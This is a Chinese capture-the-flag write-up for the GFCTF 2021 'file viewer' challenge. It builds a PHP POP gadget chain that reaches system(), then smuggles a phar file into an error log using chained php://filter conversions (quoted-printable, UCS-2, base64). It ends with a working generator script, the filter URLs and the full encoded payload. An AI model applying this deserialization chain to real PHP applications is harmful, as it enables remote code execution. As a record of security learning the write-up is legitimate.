[GFCTF 2021]文件查看器
有一个getfile函数,能够调用和重写内容,但是内容我们没法指定
注意有三个类有一个pop链
<?php class User{ public $username; public $password; public function check(){ if($this->username==="admin" && $this->password==="admin"){ return true; }else{ echo "{$this->username}的密码不正确或不存在该用户"; } } } class Myerror{ public $message; public $test; public function __tostring(){ $test=$this->message->{$this->test}; return "test"; } } class Files{ public $filename; public function __get($key){ ($key)($this->arg); } } $a=new User(); $a2=new User(); $a2->password='phpinfo'; $b=new Myerror(); $c=new Files(); $b->message=$c; $c->arg='ls'; $b->test='system'; $a->password=[$a2,'check']; $a2->username=$b; echo serialize($a);
构造较为简单,下一步就是找反序列化点了
注意到没unserialize函数,但是有文件读取考虑phar反序列化。下一步就是找文件上传点了。发现题目特意给了个log目录,尝试读取
因为phar有特殊字符,不方便直接上传,考虑用base64编码后报错写入日志试试,先用一个短的base64数据测试
可以看到当我们尝试读取这个base64文件名的文件是,报错不存在,同时将这句话写入到了log中
下一步就是解码了,由于有重写功能,我们可以用filter的debase64解码,但是问题是这样也会对那句话的前面和后面那些没用的数据解码,我们就需要想办法删除这些多余的数据
首先对于之前的数据我们可以通过
php://filter/read=consumed/resource=log/error.txt
来删除,但是每次报错本身也带有脏数据,这里用到base64解码一个特性
php的php://filter/read=convert.base64-decode/resource只会解码php包含的符号,例如
对于这些数据,base64解码只会解码[1-9a-zA-Z=],其它数据会无视,那么我们让多余的数据变成这些字符以外的不会被解码数据即可
这里注意下
当utf-8转换为utf-16le时,每一位字符后面都会加上一个\0,这个\0是不可见的,当将utf-16le转换为utf-8的时候,只有后面有\0的才会被正常转换,否则变为乱码
看后半句,我们如果在base64传入是加上\0,然后utf-16le转utf-8,其他字符不就变成乱码了吗?但是这题过滤了utf-16
有个功能相同的ucs-2可以代替,但是貌似\0是加在前面
下面就是怎么加入\0了?这个可以用quoted-printable
quoted-printable
用一个等号“=”后面加两个16进制数字字符来表示一个非ASCII码字符和等号。
也就是说非ascii字符和等号用=+两个16进制数字表示,比如0就是=00,=就是=3d
这样例如
测试数据:test base64编码:dGVzdA== 加上\0(等号也要转换):=00d=00G=00V=00z=00d=00A=00=3D=00=3D 上传后: 垃圾数据=00d=00G=00V=00z=00d=00A=00=3D=00=3D垃圾数据 解码: 垃圾数据\0d \0G \0V \0z \0d \0A \0= \0=垃圾数据 UCS-2转UTF-8:乱码dGVzdA==乱码 base64解码:test
这样流程就ok了
构造phar文件,注意
解析phar要用到phar,是先读取文件反序列化,然后这里检测报错。无法正常结束程序来进行析构函数。这里用gc回收机制讲的很多了,这里不展开,构造好phar文件,修改好签名
生成
<?php
$a=file_get_contents('phar2.phar');
$a=iconv('utf-8','UCS-2',base64_encode($a));
file_put_contents('a.txt',quoted_printable_encode($a));
file_put_contents('a.txt',preg_replace('/=\r\n/', '',file_get_contents('a.txt')).'=00=3D');
上传(下面操作记得勾选重写)
php://filter/write=convert.quoted-printable-decode/resource=log/error.txt
php://filter/write=convert.iconv.UCS-2.UTF-8/resource=log/error.txt
php://filter/write=convert.base64-decode/resource=log/error.txt
phar://log/error.txt
成功列出文件
FLAG
最终paylaod
=00P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00o=008=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00A=00H=00A=00Q=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00T=00z=00o=000=00O=00i=00J=00V=00c=002=00V=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00g=006=00I=00n=00V=00z=00Z=00X=00J=00u=00Y=00W=001=00l=00I=00j=00t=00O=00O=003=00M=006=00O=00D=00o=00i=00c=00G=00F=00z=00c=003=00d=00v=00c=00m=00Q=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00N=00D=00o=00i=00V=00X=00N=00l=00c=00i=00I=006=00M=00j=00p=007=00c=00z=00o=004=00O=00i=00J=001=00c=002=00V=00y=00b=00m=00F=00t=00Z=00S=00I=007=00T=00z=00o=003=00O=00i=00J=00N=00e=00W=00V=00y=00c=00m=009=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00c=006=00I=00m=001=00l=00c=003=00N=00h=00Z=002=00U=00i=00O=000=008=006=00N=00T=00o=00i=00R=00m=00l=00s=00Z=00X=00M=00i=00O=00j=00I=006=00e=003=00M=006=00O=00D=00o=00i=00Z=00m=00l=00s=00Z=00W=005=00h=00b=00W=00U=00i=00O=000=004=007=00c=00z=00o=00z=00O=00i=00J=00h=00c=00m=00c=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=002=00F=000=00I=00C=009=00m=00K=00i=00I=007=00f=00X=00M=006=00N=00D=00o=00i=00d=00G=00V=00z=00d=00C=00I=007=00c=00z=00o=002=00O=00i=00J=00z=00e=00X=00N=000=00Z=00W=000=00i=00O=003=001=00z=00O=00j=00g=006=00I=00n=00B=00h=00c=003=00N=003=00b=003=00J=00k=00I=00j=00t=00z=00O=00j=00c=006=00I=00n=00B=00o=00c=00G=00l=00u=00Z=00m=008=00i=00O=003=001=00p=00O=00j=00E=007=00c=00z=00o=001=00O=00i=00J=00j=00a=00G=00V=00j=00a=00y=00I=007=00f=00X=001=00p=00O=00j=00A=007=00a=00T=00o=00z=00O=003=000=00H=00A=00A=00A=00A=00Z=00X=00h=00w=00L=00n=00R=004=00d=00A=00Q=00A=00A=00A=00C=009=00I=00A=00N=00j=00B=00A=00A=00A=00A=00A=00x=00+=00f=009=00i=002=00A=00Q=00A=00A=00A=00A=00A=00A=00A=00H=00R=00l=00c=003=00S=00H=00m=00Z=00b=008=00G=007=00g=00h=00y=00e=006=00q=00y=000=00j=00v=00u=00/=00l=00D=00b=00I=00T=00I=00l=00g=00I=00A=00A=00A=00B=00H=00Q=00k=001=00C=00=3D